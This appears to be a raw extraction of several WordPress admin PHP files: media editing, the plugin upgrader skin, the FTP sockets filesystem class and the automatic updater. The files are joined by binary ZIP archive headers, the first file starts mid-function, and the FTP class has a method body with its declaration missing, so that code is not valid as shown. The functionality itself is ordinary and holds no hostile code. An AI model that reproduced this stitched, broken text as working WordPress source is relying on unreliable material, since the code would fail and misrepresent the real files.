		if ( false !== strpos($location, 'upload.php') ) {
			$location = remove_query_arg('message', $location);
			$location = add_query_arg('posted',	$attachment_id, $location);
		} elseif ( false !== strpos($location, 'media.php') ) {
			$location = add_query_arg('message', 'updated', $location);
		}
		wp_redirect($location);
		exit;
	}

// No break.
case 'edit' :
	$title = __('Edit Media');

if ( empty($errors) )
		$errors = null;

if ( empty( $_GET['attachment_id'] ) ) {
		wp_redirect( admin_url('upload.php') );
		exit();
	}
	$att_id = (int) $_GET['attachment_id'];

if ( !current_user_can('edit_post', $att_id) )
		wp_die ( __('Sorry, you are not allowed to edit this attachment.') );

$att = get_post($att_id);

if ( empty($att->ID) ) wp_die( __('You attempted to edit an attachment that doesn&#8217;t exist. Perhaps it was deleted?') );
	if ( 'attachment' !== $att->post_type ) wp_die( __('You attempted to edit an item that isn&#8217;t an attachment. Please go back and try again.') );
	if ( $att->post_status == 'trash' ) wp_die( __('You can&#8217;t edit this attachment because it is in the Trash. Please move it out of the Trash and try again.') );

add_filter('attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2);

wp_enqueue_script( 'wp-ajax-response' );
	wp_enqueue_script('image-edit');
	wp_enqueue_style('imgareaselect');

get_current_screen()->add_help_tab( array(
		'id'      => 'overview',
		'title'   => __('Overview'),
		'content' =>
			'<p>' . __('This screen allows you to edit five fields for metadata in a file within the media library.') . '</p>' .
			'<p>' . __('For images only, you can click on Edit Image under the thumbnail to expand out an inline image editor with icons for cropping, rotating, or flipping the image as well as for undoing and redoing. The boxes on the right give you more options for scaling the image, for cropping it, and for cropping the thumbnail in a different way than you crop the original image. You can click on Help in those boxes to get more information.') . '</p>' .
			'<p>' . __('Note that you crop the image by clicking on it (the Crop icon is already selected) and dragging the cropping frame to select the desired part. Then click Save to retain the cropping.') . '</p>' .
			'<p>' . __('Remember to click Update Media to save metadata entered or changed.') . '</p>'
	) );

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __('For more information:') . '</strong></p>' .
	'<p>' . __('<a href="https://codex.wordpress.org/Media_Add_New_Screen#Edit_Media">Documentation on Edit Media</a>') . '</p>' .
	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
	);

require( ABSPATH . 'wp-admin/admin-header.php' );

$parent_file = 'upload.php';
	$message = '';
	$class = '';
	if ( isset($_GET['message']) ) {
		switch ( $_GET['message'] ) {
			case 'updated' :
				$message = __('Media file updated.');
				$class = 'updated';
				break;
		}
	}
	if ( $message )
		echo "<div id='message' class='$class'><p>$message</p></div>\n";

<?php
if ( current_user_can( 'upload_files' ) ) { ?>
	<a href="media-new.php" class="page-title-action"><?php echo esc_html_x('Add New', 'file'); ?></a>
<?php } ?>

<div class="media-single">
<div id="media-item-<?php echo $att_id; ?>" class="media-item">
<?php echo get_media_item( $att_id, array( 'toggle' => false, 'send' => false, 'delete' => false, 'show_title' => false, 'errors' => !empty($errors[$att_id]) ? $errors[$att_id] : null ) ); ?>
</div>
</div>

<?php submit_button( __( 'Update Media' ), 'primary', 'save' ); ?>
<input type="hidden" name="post_id" id="post_id" value="<?php echo isset($post_id) ? esc_attr($post_id) : ''; ?>" />
<input type="hidden" name="attachment_id" id="attachment_id" value="<?php echo esc_attr($att_id); ?>" />
<input type="hidden" name="action" value="editattachment" />
<?php wp_original_referer_field(true, 'previous'); ?>
<?php wp_nonce_field('media-form'); ?>

</form>

</div>

<?php

require( ABSPATH . 'wp-admin/admin-footer.php' );

exit;

default:
	wp_redirect( admin_url('upload.php') );
	exit;

}
PK�������!��TW��	���	��'��includes/class-plugin-upgrader-skin.phpnu��[�����������<?php
/**
 * Upgrader API: Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Plugin Upgrader Skin for WordPress Plugin Upgrades.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Plugin_Upgrader_Skin extends WP_Upgrader_Skin {
	public $plugin = '';
	public $plugin_active = false;
	public $plugin_network_active = false;

/**
	 *
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array( 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => __('Update Plugin') );
		$args = wp_parse_args($args, $defaults);

$this->plugin = $args['plugin'];

$this->plugin_active = is_plugin_active( $this->plugin );
		$this->plugin_network_active = is_plugin_active_for_network( $this->plugin );

parent::__construct($args);
	}

/**
	 */
	public function after() {
		$this->plugin = $this->upgrader->plugin_info();
		if ( !empty($this->plugin) && !is_wp_error($this->result) && $this->plugin_active ){
			// Currently used only when JS is off for a single plugin update?
			echo '<iframe title="' . esc_attr__( 'Update progress' ) . '" style="border:0;overflow:hidden" width="100%" height="170" src="' . wp_nonce_url( 'update.php?action=activate-plugin&networkwide=' . $this->plugin_network_active . '&plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin ) . '"></iframe>';
		}

$this->decrement_update_count( 'plugin' );

$update_actions =  array(
			'activate_plugin' => '<a href="' . wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin) . '" target="_parent">' . __( 'Activate Plugin' ) . '</a>',
			'plugins_page' => '<a href="' . self_admin_url( 'plugins.php' ) . '" target="_parent">' . __( 'Return to Plugins page' ) . '</a>'
		);
		if ( $this->plugin_active || ! $this->result || is_wp_error( $this->result ) || ! current_user_can( 'activate_plugin', $this->plugin ) )
			unset( $update_actions['activate_plugin'] );

/**
		 * Filters the list of action links available following a single plugin update.
		 *
		 * @since 2.7.0
		 *
		 * @param array  $update_actions Array of plugin action links.
		 * @param string $plugin         Path to the plugin file.
		 */
		$update_actions = apply_filters( 'update_plugin_complete_actions', $update_actions, $this->plugin );

if ( ! empty($update_actions) )
			$this->feedback(implode(' | ', (array)$update_actions));
	}
}
PK�������!��=h^Z)��Z)��+��includes/class-wp-filesystem-ftpsockets.phpnu��[�����������<?php
/**
 * WordPress FTP Sockets Filesystem.
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * WordPress Filesystem Class for implementing FTP Sockets.
 *
 * @since 2.5.0
 *
 * @see WP_Filesystem_Base
 */
class WP_Filesystem_ftpsockets extends WP_Filesystem_Base {
	/**
	 * @var ftp
	 */
	public $ftp;

/**
	 *
	 * @param array $opt
	 */
	public function __construct( $opt  = '' ) {
		$this->method = 'ftpsockets';
		$this->errors = new WP_Error();

// Check if possible to use ftp functions.
		if ( ! @include_once( ABSPATH . 'wp-admin/includes/class-ftp.php' ) ) {
			return;
		}
		$this->ftp = new ftp();

if ( empty($opt['port']) )
			$this->options['port'] = 21;
		else
			$this->options['port'] = (int) $opt['port'];

if ( empty($opt['hostname']) )
			$this->errors->add('empty_hostname', __('FTP hostname is required'));
		else
			$this->options['hostname'] = $opt['hostname'];

// Check if the options provided are OK.
		if ( empty ($opt['username']) )
			$this->errors->add('empty_username', __('FTP username is required'));
		else
			$this->options['username'] = $opt['username'];

if ( empty ($opt['password']) )
			$this->errors->add('empty_password', __('FTP password is required'));
		else
			$this->options['password'] = $opt['password'];
	}

/**
	 *
	 * @return bool
	 */
	public function connect() {
		if ( ! $this->ftp )
			return false;

$this->ftp->setTimeout(FS_CONNECT_TIMEOUT);

if ( ! $this->ftp->SetServer( $this->options['hostname'], $this->options['port'] ) ) {
			$this->errors->add( 'connect',
				/* translators: %s: hostname:port */
				sprintf( __( 'Failed to connect to FTP Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);
			return false;
		}

if ( ! $this->ftp->connect() ) {
			$this->errors->add( 'connect',
				/* translators: %s: hostname:port */
				sprintf( __( 'Failed to connect to FTP Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);
			return false;
		}

if ( ! $this->ftp->login( $this->options['username'], $this->options['password'] ) ) {
			$this->errors->add( 'auth',
				/* translators: %s: username */
				sprintf( __( 'Username/Password incorrect for %s' ),
					$this->options['username']
				)
			);
			return false;
		}

$this->ftp->SetType( FTP_BINARY );
		$this->ftp->Passive( true );
		$this->ftp->setTimeout( FS_TIMEOUT );
		return true;
	}

/**
	 * Retrieves the file contents.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Filename.
	 * @return string|false File contents on success, false if no temp file could be opened,
	 *                      or if the file doesn't exist.
	 */
	public function get_contents( $file ) {
		if ( ! $this->exists($file) )
			return false;

$temp = wp_tempnam( $file );

if ( ! $temphandle = fopen( $temp, 'w+' ) ) {
			unlink( $temp );
			return false;
		}

mbstring_binary_safe_encoding();

if ( ! $this->ftp->fget($temphandle, $file) ) {
			fclose($temphandle);
			unlink($temp);

reset_mbstring_encoding();

return ''; // Blank document, File does exist, It's just blank.
		}

reset_mbstring_encoding();

fseek( $temphandle, 0 ); // Skip back to the start of the file being written to
		$contents = '';

while ( ! feof($temphandle) )
			$contents .= fread($temphandle, 8192);

fclose($temphandle);
		unlink($temp);
		return $contents;
	}

/**
	 *
	 * @param string $file
	 * @return array
	 */
	public function get_contents_array($file) {
		return explode("\n", $this->get_contents($file) );
	}

/**
	 *
	 * @param string $file
	 * @param string $contents
	 * @param int|bool $mode
	 * @return bool
	 */
	public function put_contents($file, $contents, $mode = false ) {
		$temp = wp_tempnam( $file );
		if ( ! $temphandle = @fopen($temp, 'w+') ) {
			unlink($temp);
			return false;
		}

// The FTP class uses string functions internally during file download/upload
		mbstring_binary_safe_encoding();

$bytes_written = fwrite( $temphandle, $contents );
		if ( false === $bytes_written || $bytes_written != strlen( $contents ) ) {
			fclose( $temphandle );
			unlink( $temp );

reset_mbstring_encoding();

return false;
		}

fseek( $temphandle, 0 ); // Skip back to the start of the file being written to

$ret = $this->ftp->fput($file, $temphandle);

reset_mbstring_encoding();

fclose($temphandle);
		unlink($temp);

$this->chmod($file, $mode);

return $ret;
	}

/**
	 *
	 * @return string
	 */
	public function cwd() {
		$cwd = $this->ftp->pwd();
		if ( $cwd )
			$cwd = trailingslashit($cwd);
		return $cwd;
	}

/**
	 *
	 * @param string $file
	 * @return bool
	 */
	public function chdir($file) {
		return $this->ftp->chdir($file);
	}

/**
	 *
	 * @param string $file
	 * @param int|bool $mode
	 * @param bool $recursive
	 * @return bool
	 */
	public function chmod($file, $mode = false, $recursive = false ) {
		if ( ! $mode ) {
			if ( $this->is_file($file) )
				$mode = FS_CHMOD_FILE;
			elseif ( $this->is_dir($file) )
				$mode = FS_CHMOD_DIR;
			else
				return false;
		}

// chmod any sub-objects if recursive.
		if ( $recursive && $this->is_dir($file) ) {
			$filelist = $this->dirlist($file);
			foreach ( (array)$filelist as $filename => $filemeta )
				$this->chmod($file . '/' . $filename, $mode, $recursive);
		}

// chmod the file or directory
		return $this->ftp->chmod($file, $mode);
	}

/**
	 *
	 * @param string $file
	 * @return string
	 */
	public function owner($file) {
		$dir = $this->dirlist($file);
		return $dir[$file]['owner'];
	}

/**
	 *
	 * @param string $file
	 * @return string
	 */
	public function getchmod($file) {
		$dir = $this->dirlist($file);
		return $dir[$file]['permsn'];
	}

/**
	 *
	 * @param string $file
	 * @return string
	 */
	public function group($file) {
		$dir = $this->dirlist($file);
		return $dir[$file]['group'];
	}

$content = $this->get_contents($source);
		if ( false === $content )
			return false;

return $this->put_contents($destination, $content, $mode);
	}

/**
	 *
	 * @param string $source
	 * @param string $destination
	 * @param bool   $overwrite
	 * @return bool
	 */
	public function move($source, $destination, $overwrite = false ) {
		return $this->ftp->rename($source, $destination);
	}

/**
	 *
	 * @param string $file
	 * @param bool   $recursive
	 * @param string $type
	 * @return bool
	 */
	public function delete($file, $recursive = false, $type = false) {
		if ( empty($file) )
			return false;
		if ( 'f' == $type || $this->is_file($file) )
			return $this->ftp->delete($file);
		if ( !$recursive )
			return $this->ftp->rmdir($file);

return $this->ftp->mdel($file);
	}

/**
	 *
	 * @param string $file
	 * @return bool
	 */
	public function exists( $file ) {
		$list = $this->ftp->nlist( $file );

if ( empty( $list ) && $this->is_dir( $file ) ) {
			return true; // File is an empty directory.
		}

return !empty( $list ); //empty list = no file, so invert.
		// Return $this->ftp->is_exists($file); has issues with ABOR+426 responses on the ncFTPd server.
	}

/**
	 *
	 * @param string $file
	 * @return bool
	 */
	public function is_file($file) {
		if ( $this->is_dir($file) )
			return false;
		if ( $this->exists($file) )
			return true;
		return false;
	}

/**
	 *
	 * @param string $path
	 * @return bool
	 */
	public function is_dir($path) {
		$cwd = $this->cwd();
		if ( $this->chdir($path) ) {
			$this->chdir($cwd);
			return true;
		}
		return false;
	}

/**
	 *
	 * @param string $file
	 * @return bool
	 */
	public function is_readable($file) {
		return true;
	}

/**
	 *
	 * @param string $file
	 * @return bool
	 */
	public function is_writable($file) {
		return true;
	}

/**
	 *
	 * @param string $file
	 * @return bool
	 */
	public function atime($file) {
		return false;
	}

/**
	 *
	 * @param string $file
	 * @return int
	 */
	public function mtime($file) {
		return $this->ftp->mdtm($file);
	}

/**
	 * @param string $file
	 * @return int
	 */
	public function size($file) {
		return $this->ftp->filesize($file);
	}

/**
	 *
	 * @param string $file
	 * @param int $time
	 * @param int $atime
	 * @return bool
	 */
	public function touch($file, $time = 0, $atime = 0 ) {
		return false;
	}

/**
	 *
	 * @param string $path
	 * @param mixed  $chmod
	 * @param mixed  $chown
	 * @param mixed  $chgrp
	 * @return bool
	 */
	public function mkdir($path, $chmod = false, $chown = false, $chgrp = false ) {
		$path = untrailingslashit($path);
		if ( empty($path) )
			return false;

if ( ! $this->ftp->mkdir($path) )
			return false;
		if ( ! $chmod )
			$chmod = FS_CHMOD_DIR;
		$this->chmod($path, $chmod);
		return true;
	}

/**
	 *
	 * @param string $path
	 * @param bool $recursive
	 * @return bool
	 */
	public function rmdir($path, $recursive = false ) {
		return $this->delete($path, $recursive);
	}

/**
	 *
	 * @param string $path
	 * @param bool   $include_hidden
	 * @param bool   $recursive
	 * @return bool|array
	 */
	public function dirlist($path = '.', $include_hidden = true, $recursive = false ) {
		if ( $this->is_file($path) ) {
			$limit_file = basename($path);
			$path = dirname($path) . '/';
		} else {
			$limit_file = false;
		}

mbstring_binary_safe_encoding();

$list = $this->ftp->dirlist($path);
		if ( empty( $list ) && ! $this->exists( $path ) ) {

reset_mbstring_encoding();

return false;
		}

$ret = array();
		foreach ( $list as $struc ) {

if ( '.' == $struc['name'] || '..' == $struc['name'] )
				continue;

if ( ! $include_hidden && '.' == $struc['name'][0] )
				continue;

if ( $limit_file && $struc['name'] != $limit_file )
				continue;

if ( 'd' == $struc['type'] ) {
				if ( $recursive )
					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive);
				else
					$struc['files'] = array();
			}

// Replace symlinks formatted as "source -> target" with just the source name
			if ( $struc['islink'] )
				$struc['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $struc['name'] );

// Add the Octal representation of the file permissions
			$struc['permsn'] = $this->getnumchmodfromh( $struc['perms'] );

$ret[ $struc['name'] ] = $struc;
		}

reset_mbstring_encoding();

return $ret;
	}

/**
	 */
	public function __destruct() {
		$this->ftp->quit();
	}
}
PK�������!�I(R������'��includes/class-wp-automatic-updater.phpnu��[�����������<?php
/**
 * Upgrade API: WP_Automatic_Updater class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for handling automatic background updates.
 *
 * @since 3.7.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 */
class WP_Automatic_Updater {

/**
	 * Tracks update results during processing.
	 *
	 * @var array
	 */
	protected $update_results = array();

/**
	 * Whether the entire automatic updater is disabled.
	 *
	 * @since 3.7.0
	 */
	public function is_disabled() {
		// Background updates are disabled if you don't want file changes.
		if ( ! wp_is_file_mod_allowed( 'automatic_updater' ) )
			return true;

if ( wp_installing() )
			return true;

// More fine grained control can be done through the WP_AUTO_UPDATE_CORE constant and filters.
		$disabled = defined( 'AUTOMATIC_UPDATER_DISABLED' ) && AUTOMATIC_UPDATER_DISABLED;

/**
		 * Filters whether to entirely disable background updates.
		 *
		 * There are more fine-grained filters and controls for selective disabling.
		 * This filter parallels the AUTOMATIC_UPDATER_DISABLED constant in name.
		 *
		 * This also disables update notification emails. That may change in the future.
		 *
		 * @since 3.7.0
		 *
		 * @param bool $disabled Whether the updater should be disabled.
		 */
		return apply_filters( 'automatic_updater_disabled', $disabled );
	}

/**
	 * Check for version control checkouts.
	 *
	 * Checks for Subversion, Git, Mercurial, and Bazaar. It recursively looks up the
	 * filesystem to the top of the drive, erring on the side of detecting a VCS
	 * checkout somewhere.
	 *
	 * ABSPATH is always checked in addition to whatever $context is (which may be the
	 * wp-content directory, for example). The underlying assumption is that if you are
	 * using version control *anywhere*, then you should be making decisions for
	 * how things get updated.
	 *
	 * @since 3.7.0
	 *
	 * @param string $context The filesystem path to check, in addition to ABSPATH.
	 */
	public function is_vcs_checkout( $context ) {
		$context_dirs = array( untrailingslashit( $context ) );
		if ( $context !== ABSPATH )
			$context_dirs[] = untrailingslashit( ABSPATH );

$vcs_dirs = array( '.svn', '.git', '.hg', '.bzr' );
		$check_dirs = array();

foreach ( $context_dirs as $context_dir ) {
			// Walk up from $context_dir to the root.
			do {
				$check_dirs[] = $context_dir;

// Once we've hit '/' or 'C:\', we need to stop. dirname will keep returning the input here.
				if ( $context_dir == dirname( $context_dir ) )
					break;

// Continue one level at a time.
			} while ( $context_dir = dirname( $context_dir ) );
		}

$check_dirs = array_unique( $check_dirs );

// Search all directories we've found for evidence of version control.
		foreach ( $vcs_dirs as $vcs_dir ) {
			foreach ( $check_dirs as $check_dir ) {
				if ( $checkout = @is_dir( rtrim( $check_dir, '\\/' ) . "/$vcs_dir" ) )
					break 2;
			}
		}

/**
		 * Filters whether the automatic updater should consider a filesystem
		 * location to be potentially managed by a version control system.
		 *
		 * @since 3.7.0
		 *
		 * @param bool $checkout  Whether a VCS checkout was discovered at $context
		 *                        or ABSPATH, or anywhere higher.
		 * @param string $context The filesystem context (a path) against which
		 *                        filesystem status should be checked.
		 */
		return apply_filters( 'automatic_updates_is_vcs_checkout', $checkout, $context );
	}

/**
	 * Tests to see if we can and should update a specific item.
	 *
	 * @since 3.7.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $type    The type of update being checked: 'core', 'theme',
	 *                        'plugin', 'translation'.
	 * @param object $item    The update offer.
	 * @param string $context The filesystem context (a path) against which filesystem
	 *                        access and status should be checked.
	 */
	public function should_update( $type, $item, $context ) {
		// Used to see if WP_Filesystem is set up to allow unattended updates.
		$skin = new Automatic_Upgrader_Skin;

if ( $this->is_disabled() )
			return false;

// Only relax the filesystem checks when the update doesn't include new files
		$allow_relaxed_file_ownership = false;
		if ( 'core' == $type && isset( $item->new_files ) && ! $item->new_files ) {
			$allow_relaxed_file_ownership = true;
		}

// If we can't do an auto core update, we may still be able to email the user.
		if ( ! $skin->request_filesystem_credentials( false, $context, $allow_relaxed_file_ownership ) || $this->is_vcs_checkout( $context ) ) {
			if ( 'core' == $type )
				$this->send_core_update_notification_email( $item );
			return false;
		}

// Next up, is this an item we can update?
		if ( 'core' == $type )
			$update = Core_Upgrader::should_update_to_version( $item->current );
		else
			$update = ! empty( $item->autoupdate );

/**
		 * Filters whether to automatically update core, a plugin, a theme, or a language.
		 *
		 * The dynamic portion of the hook name, `$type`, refers to the type of update
		 * being checked. Can be 'core', 'theme', 'plugin', or 'translation'.
		 *
		 * Generally speaking, plugins, themes, and major core versions are not updated
		 * by default, while translations and minor and development versions for core
		 * are updated by default.
		 *
		 * See the {@see 'allow_dev_auto_core_updates', {@see 'allow_minor_auto_core_updates'},
		 * and {@see 'allow_major_auto_core_updates'} filters for a more straightforward way to
		 * adjust core updates.
		 *
		 * @since 3.7.0
		 *
		 * @param bool   $update Whether to update.
		 * @param object $item   The update offer.
		 */
		$update = apply_filters( "auto_update_{$type}", $update, $item );

if ( ! $update ) {
			if ( 'core' == $type )
				$this->send_core_update_notification_email( $item );
			return false;
		}

// If it's a core update, are we actually compatible with its requirements?
		if ( 'core' == $type ) {
			global $wpdb;

$php_compat = version_compare( phpversion(), $item->php_version, '>=' );
			if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) )
				$mysql_compat = true;
			else
				$mysql_compat = version_compare( $wpdb->db_version(), $item->mysql_version, '>=' );

if ( ! $php_compat || ! $mysql_compat )
				return false;
		}

return true;
	}

/**
	 * Notifies an administrator of a core update.
	 *
	 * @since 3.7.0
	 *
	 * @param object $item The update offer.
	 */
	protected function send_core_update_notification_email( $item ) {
		$notified = get_site_option( 'auto_core_update_notified' );

// Don't notify if we've already notified the same email address of the same version.
		if ( $notified && $notified['email'] == get_site_option( 'admin_email' ) && $notified['version'] == $item->current )
			return false;

// See if we need to notify users of a core update.
		$notify = ! empty( $item->notify_email );

/**
		 * Filters whether to notify the site administrator of a new core update.
		 *
		 * By default, administrators are notified when the update offer received
		 * from WordPress.org sets a particular flag. This allows some discretion
		 * in if and when to notify.
		 *
		 * This filter is only evaluated once per release. If the same email address
		 * was already notified of the same new version, WordPress won't repeatedly
		 * email the administrator.
		 *
		 * This filter is also used on about.php to check if a plugin has disabled
		 * these notifications.
		 *
		 * @since 3.7.0
		 *
		 * @param bool   $notify Whether the site administrator is notified.
		 * @param object $item   The update offer.
		 */
		if ( ! apply_filters( 'send_core_update_notification_email', $notify, $item ) )
			return false;

$this->send_email( 'manual', $item );
		return true;
	}

/**
	 * Update an item, if appropriate.
	 *
	 * @since 3.7.0
	 *
	 * @param string $type The type of update being checked: 'core', 'theme', 'plugin', 'translation'.
	 * @param object $item The update offer.
	 *
	 * @return null|WP_Error
	 */
	public function update( $type, $item ) {
		$skin = new Automatic_Upgrader_Skin;

switch ( $type ) {
			case 'core':
				// The Core upgrader doesn't use the Upgrader's skin during the actual main part of the upgrade, instead, firing a filter.
				add_filter( 'update_feedback', array( $skin, 'feedback' ) );
				$upgrader = new Core_Upgrader( $skin );
				$context  = ABSPATH;
				break;
			case 'plugin':
				$upgrader = new Plugin_Upgrader( $skin );
				$context  = WP_PLUGIN_DIR; // We don't support custom Plugin directories, or updates for WPMU_PLUGIN_DIR
				break;
			case 'theme':
				$upgrader = new Theme_Upgrader( $skin );
				$context  = get_theme_root( $item->theme );
				break;
			case 'translation':
				$upgrader = new Language_Pack_Upgrader( $skin );
				$context  = WP_CONTENT_DIR; // WP_LANG_DIR;
				break;
		}

// Determine whether we can and should perform this update.
		if ( ! $this->should_update( $type, $item, $context ) )
			return false;

/**
		 * Fires immediately prior to an auto-update.
		 *
		 * @since 4.4.0
		 *
		 * @param string $type    The type of update being checked: 'core', 'theme', 'plugin', or 'translation'.
		 * @param object $item    The update offer.
		 * @param string $context The filesystem context (a path) against which filesystem access and status
		 *                        should be checked.
		 */
		do_action( 'pre_auto_update', $type, $item, $context );

$upgrader_item = $item;
		switch ( $type ) {
			case 'core':
				$skin->feedback( __( 'Updating to WordPress %s' ), $item->version );
				$item_name = sprintf( __( 'WordPress %s' ), $item->version );
				break;
			case 'theme':
				$upgrader_item = $item->theme;
				$theme = wp_get_theme( $upgrader_item );
				$item_name = $theme->Get( 'Name' );
				$skin->feedback( __( 'Updating theme: %s' ), $item_name );
				break;
			case 'plugin':
				$upgrader_item = $item->plugin;
				$plugin_data = get_plugin_data( $context . '/' . $upgrader_item );
				$item_name = $plugin_data['Name'];
				$skin->feedback( __( 'Updating plugin: %s' ), $item_name );
				break;
			case 'translation':
				$language_item_name = $upgrader->get_name_for_update( $item );
				$item_name = sprintf( __( 'Translations for %s' ), $language_item_name );
				$skin->feedback( sprintf( __( 'Updating translations for %1$s (%2$s)&#8230;' ), $language_item_name, $item->language ) );
				break;
		}

$allow_relaxed_file_ownership = false;
		if ( 'core' == $type && isset( $item->new_files ) && ! $item->new_files ) {
			$allow_relaxed_file_ownership = true;
		}

// Boom, This sites about to get a whole new splash of paint!
		$upgrade_result = $upgrader->upgrade( $upgrader_item, array(
			'clear_update_cache' => false,
			// Always use partial builds if possible for core updates.
			'pre_check_md5'      => false,
			// Only available for core updates.
			'attempt_rollback'   => true,
			// Allow relaxed file ownership in some scenarios
			'allow_relaxed_file_ownership' => $allow_relaxed_file_ownership,
		) );

// If the filesystem is unavailable, false is returned.
		if ( false === $upgrade_result ) {
			$upgrade_result = new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
		}

if ( 'core' == $type ) {
			if ( is_wp_error( $upgrade_result ) && ( 'up_to_date' == $upgrade_result->get_error_code() || 'locked' == $upgrade_result->get_error_code() ) ) {
				// These aren't actual errors, treat it as a skipped-update instead to avoid triggering the post-core update failure routines.
				return false;
			}

// Core doesn't output this, so let's append it so we don't get confused.
			if ( is_wp_error( $upgrade_result ) ) {
				$skin->error( __( 'Installation Failed' ), $upgrade_result );
			} else {
				$skin->feedback( __( 'WordPress updated successfully' ) );
			}
		}

$this->update_results[ $type ][] = (object) array(
			'item'     => $item,
			'result'   => $upgrade_result,
			'name'     => $item_name,
			'messages' => $skin->get_upgrade_messages()
		);

return $upgrade_result;
	}

/**
	 * Kicks off the background update process, looping through all pending updates.
	 *
	 * @since 3.7.0
	 */
	public function run() {
		if ( $this->is_disabled() )
			return;

if ( ! is_main_network() || ! is_main_site() )
			return;

if ( ! WP_Upgrader::create_lock( 'auto_updater' ) )
			return;

// Don't automatically run these thins, as we'll handle it ourselves
		remove_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
		remove_action( 'upgrader_process_complete', 'wp_version_check' );
		remove_action( 'upgrader_process_complete', 'wp_update_plugins' );
		remove_action( 'upgrader_process_complete', 'wp_update_themes' );

// Next, Plugins
		wp_update_plugins(); // Check for Plugin updates
		$plugin_updates = get_site_transient( 'update_plugins' );
		if ( $plugin_updates && !empty( $plugin_updates->response ) ) {
			foreach ( $plugin_updates->response as $plugin ) {
				$this->update( 'plugin', $plugin );
			}
			// Force refresh of plugin update information
			wp_clean_plugins_cache();
		}

// Next, those themes we all love
		wp_update_themes();  // Check for Theme updates
		$theme_updates = get_site_transient( 'update_themes' );
		if ( $theme_updates && !empty( $theme_updates->response ) ) {
			foreach ( $theme_updates->response as $theme ) {
				$this->update( 'theme', (object) $theme );
			}
			// Force refresh of theme update information
			wp_clean_themes_cache();
		}

// Next, Process any core update
		wp_version_check(); // Check for Core updates
		$core_update = find_core_auto_update();

if ( $core_update )
			$this->update( 'core', $core_update );

// Clean up, and check for any pending translations
		// (Core_Upgrader checks for core updates)
		$theme_stats = array();
		if ( isset( $this->update_results['theme'] ) ) {
			foreach ( $this->update_results['theme'] as $upgrade ) {
				$theme_stats[ $upgrade->item->theme ] = ( true === $upgrade->result );
			}
		}
		wp_update_themes( $theme_stats );  // Check for Theme updates

$plugin_stats = array();
		if ( isset( $this->update_results['plugin'] ) ) {
			foreach ( $this->update_results['plugin'] as $upgrade ) {
				$plugin_stats[ $upgrade->item->plugin ] = ( true === $upgrade->result );
			}
		}
		wp_update_plugins( $plugin_stats ); // Check for Plugin updates

// Finally, Process any new translations
		$language_updates = wp_get_translation_updates();
		if ( $language_updates ) {
			foreach ( $language_updates as $update ) {
				$this->update( 'translation', $update );
			}

// Clear existing caches
			wp_clean_update_cache();

wp_version_check();  // check for Core updates
			wp_update_themes();  // Check for Theme updates
			wp_update_plugins(); // Check for Plugin updates
		}

// Send debugging email to admin for all development installations.
		if ( ! empty( $this->update_results ) ) {
			$development_version = false !== strpos( get_bloginfo( 'version' ), '-' );

/**
			 * Filters whether to send a debugging email for each automatic background update.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $development_version By default, emails are sent if the
			 *                                  install is a development version.
			 *                                  Return false to avoid the email.
			 */
			if ( apply_filters( 'automatic_updates_send_debug_email', $development_version ) )
				$this->send_debug_email();

if ( ! empty( $this->update_results['core'] ) )
				$this->after_core_update( $this->update_results['core'][0] );

/**
			 * Fires after all automatic updates have run.
			 *
			 * @since 3.8.0
			 *
			 * @param array $update_results The results of all attempted updates.
			 */
			do_action( 'automatic_updates_complete', $this->update_results );
		}

WP_Upgrader::release_lock( 'auto_updater' );
	}

/**
	 * If we tried to perform a core update, check if we should send an email,
	 * and if we need to avoid processing future updates.
	 *
	 * @since 3.7.0
	 *
	 * @param object $update_result The result of the core update. Includes the update offer and result.
	 */
	protected function after_core_update( $update_result ) {
		$wp_version = get_bloginfo( 'version' );

$core_update = $update_result->item;
		$result      = $update_result->result;

if ( ! is_wp_error( $result ) ) {
			$this->send_email( 'success', $core_update );
			return;
		}

$error_code = $result->get_error_code();

// Any of these WP_Error codes are critical failures, as in they occurred after we started to copy core files.
		// We should not try to perform a background update again until there is a successful one-click update performed by the user.
		$critical = false;
		if ( $error_code === 'disk_full' || false !== strpos( $error_code, '__copy_dir' ) ) {
			$critical = true;
		} elseif ( $error_code === 'rollback_was_required' && is_wp_error( $result->get_error_data()->rollback ) ) {
			// A rollback is only critical if it failed too.
			$critical = true;
			$rollback_result = $result->get_error_data()->rollback;
		} elseif ( false !== strpos( $error_code, 'do_rollback' ) ) {
			$critical = true;
		}

if ( $critical ) {
			$critical_data = array(
				'attempted'  => $core_update->current,
				'current'    => $wp_version,
				'error_code' => $error_code,
				'error_data' => $result->get_error_data(),
				'timestamp'  => time(),
				'critical'   => true,
			);
			if ( isset( $rollback_result ) ) {
				$critical_data['rollback_code'] = $rollback_result->get_error_code();
				$critical_data['rollback_data'] = $rollback_result->get_error_data();
			}
			update_site_option( 'auto_core_update_failed', $critical_data );
			$this->send_email( 'critical', $core_update, $result );
			return;
		}

/*
		 * Any other WP_Error code (like download_failed or files_not_writable) occurs before
		 * we tried to copy over core files. Thus, the failures are early and graceful.
		 *
